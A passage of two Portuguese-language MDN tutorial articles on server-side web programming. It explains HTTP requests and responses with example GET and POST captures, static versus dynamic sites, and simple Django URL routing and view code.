recurso específico.\n    + `TRACE`, `OPTIONS`, `CONNECT`, `PATCH`: Esses métodos são para tarefas menos comuns/avançadas, não os cobriremos por aqui.\n* Informações adicionais podem ser codificadas com a solicitação(por exemplo, dados de formulário HTML). As informações podem ser codificadas como :\n    + Paramêtros de URL : Solicitações `GET` codificam dados na URL enviada ao servidor, adicionando pares de nome/valor ao final dela— por exemplo, `http://mysite.com?name=Fred&age=11`. Você sempre tem um ponto de interrogação (`?`) separando o resto da URL dos paramêtros de URL, um sinal de igual (`=`) separando cada nome de seu valor associado , e um \"E\" comercial (`&`) separando cada par. Os paramêtros URL são inerentemente inseguros, pois podem ser alterados pelos usuários e reenviados. Como resultado, os parâmetros de URL/ solicitações GET não são usados para solicitações que atualizam dados no servidor.\n    + `POST` data(dados de postagem). As solicitações POST adicionam novos recursos, cujos dados são codificados no corpo da solicitação.\n    + Cookies do lado do cliente. Os cookies contêm dados de sessão sobre o cliente, incluindo chaves que o servidor pode usar para determinar seu status de login e permissões aos recursos.\n\nOs servidores da web aguardam as mensagens de solicitação do cliente, processam-nas quando chegam e respondem ao navegador da web com uma mensagem de resposta HTTP. A resposta contém( HTTP Response status code) um código de status de resposta HTTP que indica se a solicitação foi bem sucedida ou não (e.g. \"`200 OK`\" para sucesso, \"`404 Not Found`\" se o recurso não puder ser encontrado, \"`403 Forbidden`\" se o usuário não estiver autorizado para ver o recurso, etc). O corpo de uma resposta bem sucedida a uma solicitação `GET` conteria o recurso solicitado.\n\nQuando uma página HTML é retornada, ela é processada pelo navegador da web. Como parte do processamento, o navegador pode descobrir links para outros recursos (por exemplo, uma página HTML geralmente faz referência a páginas JavaScript e CSS) e enviará solicitações HTTP separadas para baixar esses arquivos.\n\nOs sites estáticos e dinâmicos (discutidos nas seções a seguir) usam exatamente o mesmo protocolo / padrões de comunicação.\n\n### Exemplo de requisição/resposta GET\n\nVocê pode fazer uma simples requisição GET clicando em um link ou buscando em um site (como uma simples ferramenta de pesquisa). Por exemplo, a requisição HTTP enviada quando você realiza uma busa na MDN pelo termo \"cliente servidor visão geral\" será muito parecido com o texto mostrado abaixo (não será identico porque partes da mensagem depente de seu navegador/configuração.\n\n**Nota:** O formato das mensagens HTTP é definido em um \"padrão da web\" (RFC7230). Você não precisa saber esse nível de detalhe, mas pelo menos agora você sabe de onde vem tudo isso.\n\n#### A requisição\n\nCada linha da solicitação contém informações sobre ela. A primeira parte é chamada de **header**, e contém informações úteis sobre o pedido, Da mesma forma que um HTML head contém informações úteis sobre um documento HTML(mas não o conteúdo real em si, que está no corpo):\n```\n\nGET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1\nHost: developer.mozilla.org\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nReferer: https://developer.mozilla.org/en-US/\nAccept-Encoding: gzip, deflate, sdch, br\nAccept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7\nAccept-Language: en-US,en;q=0.8,es;q=0.6\nCookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true\n```\n\n\nA primeira e a segunda linhas contêm a maioria das informações sobre as quais falamos acima:\n\n* O tipo de requisição (`GET`).\n* A URL do recurso de destino (`/en-US/search`).\n* Os parâmetros de URL (`q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev`).\n* O site de destino(developer.mozilla.org).\n* O final da primeira linha inclui uma string curta que identifica a versão e especifica o protocolo (`HTTP/1.1`).\n\nA linha final contém informações sobre os cookies do lado do cliente - você pode ver neste caso que o cookie inclui um id para gerenciar as sessões (`Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...`).\n\nAs linhas restantes contêm informações sobre o navegador usado e o tipo de respostas que ele pode manipular. Por exemplo, você pode ver aqui que:\n\n* Meu navegador(`User-Agent`) é o Mozilla Firefox (`Mozilla/5.0`).\n* Pode aceitar informações comprimidas gzip(`Accept-Encoding: gzip`).\n* Pode aceitar o conjunto específico de caracteres (`Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7`) e idiomas (`Accept-Language: de,en;q=0.7,en-us;q=0.3`).\n* The `Referer` line indica o endereço da página web que continha o link para este recurso (i.e. a origem da requisição, `https://developer.mozilla.org/en-US/`).\n\nAs solicitações HTTP também podem ter um corpo, mas está vazio neste caso\n\n#### A resposta\n\nA primeira parte da resposta para esta solicitação é mostrada abaixo. O header(cabeçalho) contém informações, como as seguintes:\n\n* A primeira linha contém o código de resposta `200 OK`, o que nos diz que a solicitação foi bem sucedida.\n* Podemos ver que a resposta é `text/html` formatada (`Content-Type`).\n* Também podemos ver que ele usa o conjunto de caracteres UTF-8 (`Content-Type: text/html; charset=utf-8`).\n* O head também nos diz o quão grande é (`Content-Length: 41823`).\n\nNo final da mensagem vemos o conteúdo do corpo( **body** content) — que contém o HTML real retornado pela solicitação.\n\n\n```http\nHTTP/1.1 200 OK\nServer: Apache\nX-Backend-Server: developer1.webapp.scl3.mozilla.com\nVary: Accept,Cookie, Accept-Encoding\nContent-Type: text/html; charset=utf-8\nDate: Wed, 07 Sep 2016 00:11:31 GMT\nKeep-Alive: timeout=5, max=999\nConnection: Keep-Alive\nX-Frame-Options: DENY\nAllow: GET\nX-Cache-Info: caching\nContent-Length: 41823\n\n<!DOCTYPE html>\n<html lang=\"en-US\" dir=\"ltr\" class=\"redesign no-js\"  data-ffo-opensanslight=false data-ffo-opensans=false >\n<head prefix=\"og: http://ogp.me/ns#\">\n  <meta charset=\"utf-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">\n  <script>(function(d) { d.className = d.className.replace(/\\bno-js/, ''); })(document.documentElement);</script>\n  ...\n```\n\n\nO restante do header da resposta inclui informações sobre a resposta (por exemplo, quando ela foi gerada), o servidor e como ele espera que o navegador manipule a página(e.g. A linha `X-Frame-Options: DENY` diz ao navegador para não permitir que esta página seja incorporada em outros sites `<iframe>` ).\n\n### Exemplo de request(solicitação)/response(resposta) POST\n\nUm HTTP `POST` é feito quando você envia um formulário contendo informações a serem salvas no servidor.\n\n#### A requisição\n\nO texto abaixo mostra a solicitação HTTP feita quando um usuário envia novos detalhes de perfil neste site. O formato de requisição é quase o mesmo que o exemplo de solicitação `GET` mostrado anteriormente, embora a primeira linha reconheça esta solicitação como um `POST`.\n\n\n```http\nPOST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1\nHost: developer.mozilla.org\nConnection: keep-alive\nContent-Length: 432\nPragma: no-cache\nCache-Control: no-cache\nOrigin: https://developer.mozilla.org\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\nContent-Type: application/x-www-form-urlencoded\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\\*/\\*;q=0.8\nReferer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.8,es;q=0.6\nCookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; \\_gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf\\_section\\_edit=False; dwf\\_sg\\_task\\_completion=False; \\_ga=GA1.2.1688886003.1471911953; ffo=true\n\ncsrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=\n```\n\n\nA principal diferença é que o URL não possui parâmetros. Como você pode ver, as informações do formulário são codificadas no corpo da solicitação (por exemplo, o novo nome completo do usuário é definido usando: `&user-fullname=Hamish+Willee`).\n\n#### A resposta\n\nA resposta de solicitação é mostrada abaixo. O código de status \"`302 Found`\" diz ao navegador que a postagem foi bem sucedida, e que deve emitir uma segunda solicitação HTTP para carregar a página especificada no campo determinado( `Location` field). As informações são semelhantes às da resposta a uma solicitação `GET` .\n\n\n```http\nHTTP/1.1 302 FOUND\nServer: Apache\nX-Backend-Server: developer3.webapp.scl3.mozilla.com\nVary: Cookie\nVary: Accept-Encoding\nContent-Type: text/html; charset=utf-8\nDate: Wed, 07 Sep 2016 00:38:13 GMT\nLocation: https://developer.mozilla.org/en-US/profiles/hamishwillee\nKeep-Alive: timeout=5, max=1000\nConnection: Keep-Alive\nX-Frame-Options: DENY\nX-Cache-Info: not cacheable; request wasn't a GET or HEAD\nContent-Length: 0\n```\n\n\n**Nota:** As respostas e solicitações HTTP mostradas nesse exemplo foram capturadas utilizando o aplicativo Fiddler , mas você pode obter informações semelhantes utilizando web sniffers (e.g. Websniffer) ou extensões de navegador como o HttpFox. Você pode tentar isso sozinho. Use qualquer uma das ferramentas vinculadas e navegue por um site e edite as informações de perfil para ver os diferentes tipos de solicitações e respostas. A maioria dos navegadores possuem ferramentas que monitoram solicitações de rede(por exemplo, a ferramenta Network Monitor no Firefox).\n\nSites estáticos\n---------------\n\nUm site estático é aquele que retorna o mesmo conteúdo codificado do servidor sempre que um recurso específico é solicitado. Por exemplo, se você tiver uma página sobre um produto em `/static/myproduct1.html`, esta mesma página será devolvida a todos os usuários. Se você adicionar outro produto semelhante ao seu site, você precisará adicionar outra página (e.g. `myproduct2.html`) e assim por diante. Isso pode começar a ficar realmente ineficiente - o que acontece quando você chega a milhares de páginas de produtos? Você repetiria muitos códigos em cada página (o modelo básico de página, estrutura, etc.) e, se quisesse alterar qualquer coisa na estrutura da página - como adicionar uma nova seção de \"produtos relacionados\", por exemplo -, tem que mudar cada página individualmente.\n\n**Nota:** Os sites estáticos são excelentes quando você tem um pequeno número de páginas e deseja enviar o mesmo conteúdo para todos os usuários. No entanto, eles podem ter um custo significativo para manter à medida que o número de páginas aumenta.\n\nVamos recapitular como isso funciona, olhando novamente para o diagrama de arquitetura de site estático que vimos no último artigo.\n\n![A simplified diagram of a static web server.](/pt-BR/docs/Learn/Server-side/First_steps/Client-Server_overview/basic_static_app_server.png)\n\nQuando o usuário deseja navegar em uma página, O navegador envia uma solicitação HTTP `GET` especificando o URL dessa página HTML. O servidor recupera o documento solicitado de seu sistema de arquivos e retorna uma resposta HTTP contendo o documento e um HTTP Response status code de \"`200 OK`\" (indicando). O servidor pode retornar um diferente código de status, por exemplo \"`404 Not Found`\" se o arquivo não estiver presente no servidor, ou \"`301 Moved Permanently`\" se o arquivo existe, mas foi redirecionado para um local diferente.\n\nO servidor de um site estático sempre precisará processar solicitações GET, porque o servidor não armazena nenhum dado modificável. Ele também não altera suas respostas com base nos dados de solicitação HTTP (por exemplo, parâmetros de URL ou cookies).\n\nNo entanto, entender como os sites estáticos funcionam é útil ao aprender a programação do lado do servidor, porque os sites dinâmicos lidam com solicitações de arquivos estáticos (CSS, JavaScript, imagens estáticas etc.) exatamente da mesma maneira.\n\nSites dinâmicos\n---------------\n\nUm site dinâmico é aquele que pode gerar e retornar conteúdo com base no URL e nos dados de solicitação específicos (em vez de sempre retornar o mesmo arquivo embutido em código para um URL específico). Usando o exemplo de um site de produto, o servidor armazenaria \"dados\" do produto em um banco de dados em vez de arquivos HTML individuais. Ao receber uma solicitação HTTP `GET` para o produto , o servidor determina o ID do produto, busca os dados do banco de dados e, em seguida, constrói a página HTML para a resposta inserindo os dados em um modelo HTML. Isso tem grandes vantagens em relação a um site estático:\n\nO uso de um banco de dados permite que as informações do produto sejam armazenadas com eficiência de uma forma facilmente extensível, modificável e pesquisável\n\nO uso de modelos HTML torna muito fácil alterar a estrutura HTML, porque isso só precisa ser feito em um lugar, em um único modelo, e não em potencialmente milhares de páginas estáticas.\n\n### Anatomia de uma solicitação dinâmica\n\nEsta seção fornece uma visão geral passo a passo da solicitação HTTP \"dinâmica\" e do ciclo de resposta, com base no que vimos no último artigo com muito mais detalhes. Para \"manter as coisas reais\", usaremos o contexto de um site de gerente de equipe esportiva, onde um treinador pode selecionar o nome e o tamanho da equipe em um formulário HTML e receber uma sugestão de \"melhor escalação\" para o próximo jogo.\n\nO diagrama abaixo mostra os principais elementos do site do \"treinador de equipe\", juntamente com rótulos numerados para a sequência de operações quando o treinador acessa sua lista de \"melhores equipes\". As partes do site que o tornam dinâmico são o Web application(é assim que nos referiremos ao código do lado do servidor que processa solicitações HTTP e retorna respostas HTTP), o Banco de Dados, que contém informações sobre jogadores, times, treinadores e seus relacionamentos e os modelos HTML.\n\n![This is a diagram of a simple web server with step numbers for each of step of the client-server interaction.](/pt-BR/docs/Learn/Server-side/First_steps/Client-Server_overview/web_application_with_html_and_steps.png)\n\nApós o treinador enviar o formulário com o nome da equipe e número de jogadores, a sequência de operações é:\n\n1. O navegador cria uma solicitação HTTP `GET` para o servidor usando a URL base para o recurso(`/best`) e codifica o número do time e do jogador como parâmetros de URL (e.g. `/best?team=my_team_name&show=11)` ou como parte do padrão de URL (e.g. `/best/my_team_name/11/`). A solicitação `GET`é usada porque a solicitação está apenas buscando dados (não modificando dados).\n2. O servidor da Web detecta que a solicitação é \"dinâmica\" e a encaminha ao Web application para o processamento (o servidor da Web determina como lidar com URLs diferentes com base nas regras de correspondência de padrões definidas em sua configuração).\n3. O *Web Application* identifica que a intenção da solicitação é obter a \"lista da melhor equipe\" com base no URL(`/best/`)e descobre o nome da equipe necessária e o número de jogadores no URL. O Web application então obtém as informações necessárias do banco de dados (usando parâmetros \"internos\" adicionais para definir quais jogadores são os \"melhores\" e, possivelmente, também obtendo a identidade do treinador conectado a partir de um cookie do lado do cliente).\n4. O Web application cria dinamicamente uma página HTML colocando os dados (do banco de dados) em espaços reservados dentro de um modelo HTML.\n5. O Web application retorna o HTML gerado para o navegador da Web (por meio do servidor da Web), junto com um código de status HTTP de 200 (\"sucesso\"). Se alguma coisa impedir que o HTML seja retornado, o Web application retornará outro código - por exemplo, \"404\" para indicar que a equipe não existe.\n6. O navegador da Web começará a processar o HTML retornado, enviando solicitações separadas para obter qualquer outro arquivo CSS ou JavaScript ao qual faça referência (consulte a etapa 7).\n7. O servidor da Web carrega arquivos estáticos do sistema de arquivos e os retorna ao navegador diretamente (novamente, o tratamento correto do arquivo é baseado nas regras de configuração e correspondência de padrão de URL).\n\nUma operação para atualizar um registro no banco de dados seria tratada de forma semelhante, exceto que, como qualquer atualização de banco de dados, a solicitação HTTP do navegador deve ser codificada como uma solicitação `POST`.\n\n### Fazendo outro trabalho\n\nO trabalho de um Web application é receber solicitações HTTP e retornar respostas HTTP. Embora interagir com um banco de dados para obter ou atualizar informações sejam tarefas muito comuns, o código pode fazer outras coisas ao mesmo tempo ou não interagir com um banco de dados.\n\nUm bom exemplo de uma tarefa adicional que um Web application pode realizar seria enviar um e-mail aos usuários para confirmar seu registro no site. O site também pode realizar registro ou outras operações.\n\n### Retornando algo diferente de HTML\n\nO código do site do lado do servidor não precisa retornar snippets / arquivos HTML na resposta. Em vez disso, ele pode criar e retornar dinamicamente outros tipos de arquivos (texto, PDF, CSV, etc.) ou mesmo dados (JSON, XML, etc.).\n\nA ideia de retornar dados a um navegador da web para que ele possa atualizar dinamicamente seu próprio conteúdo (AJAX) já existe há um bom tempo. Mais recentemente, os \"aplicativos de página única\" se tornaram populares, em que todo o site é escrito com um único arquivo HTML que é atualizado dinamicamente quando necessário. Os sites criados com esse estilo de aplicativo geram muitos custos computacionais do servidor para o navegador da web e podem resultar em sites que parecem se comportar muito mais como aplicativos nativos (altamente responsivos etc.).\n\nWeb frameworks simplificam a programação da Web do lado do servidor\n-------------------------------------------------------------------\n\nOs frameworks web do lado do servidor tornam a escrita de código para lidar com as operações descritas acima muito mais fácil.\n\nUma das operações mais importantes que eles executam é fornecer mecanismos simples para mapear URLs de diferentes recursos / páginas para funções de manipulador específicas. Isso torna mais fácil manter o código associado a cada tipo de recurso separado. Também traz benefícios em termos de manutenção, pois você pode alterar a URL usada para entregar um determinado recurso em um único local, sem ter que alterar a função do manipulador.\n\nPor exemplo, considere o seguinte código Django (Python) que mapeia dois padrões de URL para duas funções de visualização. O primeiro padrão garante que uma solicitação HTTP com um URL de recurso de `/best` será passado para uma função chamada `index()` no módulo `views`. Uma solicitação que tem o padrão \"`/best/junior`\", será passada para a fução view `junior()` .\n\n\n```python\n# file: best/urls.py\n#\n\nfrom django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n    # example: /best/\n    url(r'^$', views.index),\n    # example: /best/junior/\n    url(r'^junior/$', views.junior),\n]\n```\n\n\n**Nota:** Os primeiros parâmetros da função `url()` pode parecer um pouco estranho (e.g. `r'^junior/$'`) porque eles usam uma técnica de correspondência de padrões chamada \"expressões regulares\"(RegEx, or RE). Você não precisa saber como as expressões regulares funcionam neste ponto, a não ser que elas nos permitam combinar padrões na URL (em vez dos valores codificados acima) e usá-los como parâmetros em nossas funções de visualização. Por exemplo, um RegEx realmente simples pode dizer \"corresponde a uma única letra maiúscula, seguida por entre 4 e 7 letras minúsculas.\"\n\nO framework web também torna mais fácil para uma função de visualização buscar informações do banco de dados. A estrutura de nossos dados é definida em modelos, que são classes Python que definem os campos a serem armazenados no banco de dados subjacente. Se tivermos um modelo denominado Team com um campo de \"team\\_type\", então podemos usar uma sintaxe de consulta simples para recuperar todas as equipes que possuem um tipo específico.\n\nO exemplo abaixo obtém uma lista de todas as equipes que têm o exato (diferencia maiúsculas de minúsculas) `team_type` de \"junior\" —Observe o formato field name (`team_type`) seguido por sublinhado duplo e, em seguida, o tipo de correspondência a usar (neste caso `exact`). Existem muitos outros tipos de casos e podemos conectá-los em cadeia. Também podemos controlar a ordem e o número de resultados retornados.\n\n\n```python\n#best/views.py\n\nfrom django.shortcuts import render\n\nfrom .models import Team\n\ndef junior(request):\n    list_teams = Team.objects.filter(team_type__exact=\"junior\")\n    context = {'list': list_teams}\n    return render(request, 'best/index.html', context)\n```\n\n\n`Depois da função junior()` obter a lista de junior teams, é chamada a função `render()` , passando o original `HttpRequest`, um modelo HTML e um objeto de \"contexto\" que define as informações a serem incluídas no modelo. A função `render()` é uma função de conveniência que gera HTML usando um contexto e um modelo HTML e o retorna em um objeto `HttpResponse` .\n\nObviamente, os frameworks da Web podem ajudá-lo em muitas outras tarefas. Discutiremos muitos outros benefícios e algumas opções populares de estrutura da web no próximo artigo.\n\nResumo\n------\n\nNeste ponto, você deve ter uma boa visão geral das operações que o código do lado do servidor deve realizar e conhecer algumas das maneiras pelas quais uma framework Web do lado do servidor pode tornar isso mais fácil.\n\nEm um módulo a seguir, vamos ajudá-lo a escolher o melhor Web Framework para seu primeiro site.\n\n* Anterior\n* Menu: First steps\n* Próxima  (en-US)"}
{"title":"Introdução ao lado servidor - Aprendendo desenvolvimento web","text":"Introdução ao lado servidor\n===========================\n\n* Menu: First steps\n* Próxima\n\nBem-vindo ao curso de programação do lado do servidor para iniciantes do MDN! Neste primeiro artigo, examinamos a programação do lado do servidor de um alto nível, respondendo a perguntas como \"o que é?\", \"Como ela difere da programação do lado do cliente?\" E \"por que é tão útil?\" . Depois de ler este artigo, você entenderá o poder adicional disponível para sites por meio da codificação do lado do servidor.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos : | \n Conhecimento básico de informática. Uma compreensão básica do que é um\n servidor web\n  |\n| Objetivo : | \n Ganhar familiaridade com o que é programação do lado do servidor, o que\n ela pode fazer e como ela difere da programação do lado do cliente.\n  |\n\nA maioria dos sites de grande escala usa código do lado do servidor para exibir dinamicamente diferentes dados quando necessário, geralmente retirados de um banco de dados armazenado em um servidor e enviados ao cliente para serem exibidos por meio de algum código (por exemplo, HTML e JavaScript).\n\nTalvez o benefício mais significativo do código do lado do servidor seja que ele permite personalizar o conteúdo do site para usuários individuais. Os sites dinâmicos podem destacar o conteúdo que é mais relevante com base nas preferências e hábitos do usuário. Ele também pode tornar os sites mais fáceis de usar, armazenando preferências e informações pessoais - por exemplo, reutilizando os detalhes armazenados do cartão de crédito para agilizar os pagamentos subsequentes.\n\nPode até permitir a interação com os usuários do site, enviando notificações e atualizações por e-mail ou por outros canais. Todos esses recursos permitem um envolvimento muito mais profundo com os usuários.\n\nNo mundo moderno do desenvolvimento web, aprender sobre desenvolvimento do lado do servidor é extremamente recomendado.\n\nO que é programação de site do lado do servidor ?\n-------------------------------------------------\n\nNavegadores comunicam-se com web servers utilizando o **H**yper**T**ext **T**ransfer **P**rotocol (HTTP). Quando você clica em um link em uma página da web, envia um formulário ou faz uma pesquisa, uma **HTTP request(solicitação HTTP)** é enviada do seu navegador para o servidor de destino.\n\nA solicitação inclui uma URL que identifica o recurso afetado, um método que define a ação necessária (por exemplo, para obter, excluir ou postar o recurso) e pode incluir informações adicionais codificadas em parâmetros de URL(Os pares field-value(campo-valor) são enviados por meio de uma query string), como dados POST (dados enviados pelo método HTTP POST), ou em associado cookies (en-US) .\n\nOs servidores da web esperam por mensagens de solicitação do cliente, processam-nas quando chegam e respondem ao navegador da web com uma mensagem **HTTP response** . A resposta contém uma linha de status indicando se a solicitação foi bem-sucedida ou não (e.g. \"HTTP/1.1 200 OK\" for success).\n\nO corpo de uma resposta bem-sucedida a uma solicitação conteria o recurso solicitado (por exemplo, uma nova página HTML ou uma imagem, etc ...), que poderia então ser exibido pelo navegador.\n\n### Sites estáticos\n\nO diagrama abaixo mostra uma arquitetura básica de servidor da web para um site estático (um site estático é aquele que retorna o mesmo conteúdo embutido em código do servidor sempre que um determinado recurso é solicitado). Quando um usuário deseja navegar para uma página, o navegador envia uma solicitação HTTP \"GET\" especificando seu URL.\n\nO servidor recupera o documento solicitado de seu sistema de arquivos e retorna uma resposta HTTP contendo o documento e um success status (geralmente, 200 OK). Se o arquivo não puder ser recuperado por algum motivo, um status de erro será retornado(Veja client error responses e server error responses).\n\n![A simplified diagram of a static web server.](/pt-BR/docs/Learn/Server-side/First_steps/Introduction/basic_static_app_server.png)\n\n### Sites dinâmicos\n\nUm site dinâmico é aquele em que parte do conteúdo da resposta é gerado dinamicamente, apenas quando necessário. Em um site dinâmico, as páginas HTML são normalmente criadas inserindo dados de um banco de dados em espaços reservados em modelos HTML (essa é uma maneira muito mais eficiente de armazenar grandes quantidades de conteúdo do que usar sites estáticos).\n\nUm site dinâmico pode retornar dados diferentes para um URL com base nas informações fornecidas pelo usuário ou preferências armazenadas e pode realizar outras operações como parte do retorno de uma resposta (e.g. enviando notificações).\n\nA maior parte do código para oferecer suporte a um site dinâmico deve ser executado no servidor. A criação desse código é denominado \"**server-side programming**\" (ou às vezes \"**back-end scripting**\").\n\nO diagrama abaixo mostra uma arquitetura simples para um site dinâmico. Como no diagrama anterior, os navegadores enviam solicitações HTTP para o servidor, então o servidor processa as solicitações e retorna as respostas HTTP apropriadas.\n\nAs solicitações de recursos estáticos são tratadas da mesma maneira que para sites estáticos (recursos estáticos são quaisquer arquivos que não mudam - normalmente: CSS, JavaScript, imagens, arquivos PDF pré-criados etc.).\n\n![A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview.](/pt-BR/docs/Learn/Server-side/First_steps/Introduction/web_application_with_html_and_steps.png)\n\nAs solicitações de recursos dinâmicos são encaminhadas (2) para o código do lado do servidor (mostrado no diagrama como uma web application). Para \"solicitações dinâmicas\", o servidor interpreta a solicitação, lê as informações necessárias do banco de dados (3), combina os dados recuperados com modelos HTML (4) e envia de volta uma resposta contendo o HTML gerado (5,6).\n\nA programação do lado do servidor e do lado cliente são iguais ?\n----------------------------------------------------------------\n\nVamos agora voltar nossa atenção para o código envolvido na programação do lado do servidor e do lado do cliente. Em cada caso, o código é significativamente diferente:\n\n* Eles têm objetivos e propósitos diferentes.\n* Eles geralmente não usam as mesmas linguagens de programação (exceto JavaScript, que pode ser utilizado tanto no lado do servidor quanto no lado do cliente).\n* Eles são executados em diferentes ambientes do sistema operacional.\n\nO código em execução no navegador é conhecido como **client-side code** e se preocupa principalmente em melhorar a aparência e o comportamento de uma página da web renderizada. Isso inclui selecionar e definir o estilo dos componentes da IU, criação de layouts, navegação, validação de formulário etc. Por outro lado, a programação do site do lado do servidor envolve principalmente a escolha de qual conteúdo é retornado ao navegador em resposta às solicitações. O código do lado do servidor lida com tarefas como validação de dados e solicitações enviadas, usando bancos de dados para armazenar e recuperar dados e enviar os dados corretos para o cliente conforme necessário.\n\nO código do lado do cliente é geralmente escrito em HTML, CSS, e JavaScript — ele é executado dentro de um navegador da web e tem pouco ou nenhum acesso ao sistema operacional subjacente (incluindo acesso limitado ao sistema de arquivos)\n\nOs desenvolvedores da Web não podem controlar qual navegador cada usuário pode estar usando para visualizar um site - os navegadores fornecem níveis inconsistentes de compatibilidade com recursos de código do lado do cliente, e parte do desafio da programação do lado do cliente é lidar com as diferenças no suporte do navegador de maneira elegante.\n\nO código do lado do servidor pode ser escrito algumas linguagens de programação - exemplos de linguagens da web do lado do servidor populares incluem PHP, Python, Ruby, C # e NodeJS (JavaScript). O código do lado do servidor tem acesso total ao sistema operacional do servidor e o desenvolvedor pode escolher qual linguagem de programação (e versão específica) deseja usar.\n\nDesenvolvedores geralmente escrevem seus códigos utilizando **web frameworks**. Frameworks Web são coleções de funções, objetos, regras e outras construções de código projetadas para resolver problemas comuns, acelerar o desenvolvimento e simplificar os diferentes tipos de tarefas enfrentadas em um domínio específico.\n\nNovamente, embora o código do lado do cliente e do servidor usem frameworks, os domínios são muito diferentes e, portanto, os frameworks também são. Os frameworks web do lado do cliente simplificam as tarefas de layout e apresentação, enquanto os frameworks web do lado do servidor fornecem muitas funcionalidades de servidor da web \"comuns\" que você mesmo poderia ter que implementar (por exemplo, suporte para sessões, suporte para usuários e autenticação, fácil acesso ao banco de dados, bibliotecas de modelos, etc.).\n\n**Nota:** Os frameworks do lado do cliente costumam ser usados para ajudar a acelerar o desenvolvimento do código do lado do cliente, mas você também pode escolher escrever todo o código manualmente; na verdade, escrever seu código manualmente pode ser mais rápido e eficiente se você precisar apenas de uma IU de site da Web pequena e simples.\n\nEm contraste, você quase nunca pensaria em escrever o componente do lado do servidor de um web application sem um framework - implementar um recurso vital como um servidor HTTP é realmente difícil de fazer do zero em, digamos, Python, mas frameworks web em Python como Django fornecem essa ferramenta , junto com outras ferramentas muito úteis.\n\nO que você pode fazer no lado do servidor ?\n-------------------------------------------\n\nA programação do lado do servidor é muito útil porque nos permite fornecer com eficiência informações personalizadas para usuários individuais e, assim, criar uma experiência de usuário muito melhor.\n\nEmpresas como a Amazon usam programação do lado do servidor para construir resultados de pesquisa de produtos, fazer sugestões de produtos direcionados com base nas preferências do cliente e hábitos de compra anteriores, simplificar as compras, etc.\n\nOs bancos usam a programação do lado do servidor para armazenar informações de contas e permitir que apenas usuários autorizados visualizem e façam transações. Outros serviços como Facebook, Twitter, Instagram e Wikipedia usam programação do lado do servidor para destacar, compartilhar e controlar o acesso ao conteúdo .\n\nAlguns dos usos e benefícios comuns da programação do lado do servidor estão listados abaixo. Você notará que há alguma sobreposição!\n\n### Armazenamento eficiente e entrega de informações\n\nImagine quantos produtos estão disponíveis na Amazon e quantas postagens foram escritas no Facebook? Criar uma página estática separada para cada produto ou postagem seria completamente impraticável.\n\nA programação do lado do servidor nos permite, em vez disso, armazenar as informações em um banco de dados e construir e retornar dinamicamente HTML e outros tipos de arquivos (por exemplo, PDFs, imagens, etc.). Também é possível simplesmente retornar dados (JSON, XML, etc.) para renderização por frameworks web do lado do cliente apropriados (isso reduz a carga de processamento em um servidor e a quantidade de dados que precisa ser enviada).\n\nO servidor não se limita a enviar informações de bancos de dados e pode, alternativamente, retornar o resultado de ferramentas de software ou dados de serviços de comunicação. O conteúdo pode até ser direcionado para o tipo de dispositivo que o cliente está recebendo.\n\nComo as informações estão em um banco de dados, elas também podem ser mais facilmente compartilhadas e atualizadas com outros sistemas de negócios (por exemplo, quando os produtos são vendidos online ou em uma loja, a loja pode atualizar seu banco de dados de estoque).\n\n**Nota:** Sua imaginação não precisa trabalhar muito para ver os benefícios do código do lado do servidor para armazenamento e entrega eficientes de informações:\n\n1. Vá em Amazon ou em outro site comercial.\n2. Pesquise várias palavras-chave e observe como a estrutura da página não muda, embora os resultados mudem.\n3. Abra dois ou três produtos diferentes. Observe novamente como eles têm uma estrutura e layout comuns, mas o conteúdo de diferentes produtos foi retirado do banco de dados.\n\nPara um termo de pesquisa comum (\"peixe\", digamos), você pode ver literalmente milhões de valores retornados. O uso de um banco de dados permite que sejam armazenados e compartilhados de forma eficiente, além de permitir que a apresentação das informações seja controlada em um só lugar.\n\n### Experiência de usuário personalizada\n\nOs servidores podem armazenar e usar informações sobre clientes para fornecer uma experiência de usuário conveniente e personalizada. Por exemplo, muitos sites armazenam cartões de crédito para que os detalhes não tenham que ser inseridos novamente. Sites como o Google Maps podem usar locais salvos ou atuais para fornecer informações de rota e pesquisar o histórico de viagens para destacar empresas locais nos resultados de pesquisa.\n\nUma análise mais profunda dos hábitos do usuário pode ser usada para antecipar seus interesses e personalizar ainda mais as respostas e notificações, por exemplo, fornecendo uma lista de locais visitados anteriormente ou que você pode querer ver em um mapa.\n\n**Nota:**Google Maps salva sua pesquisa 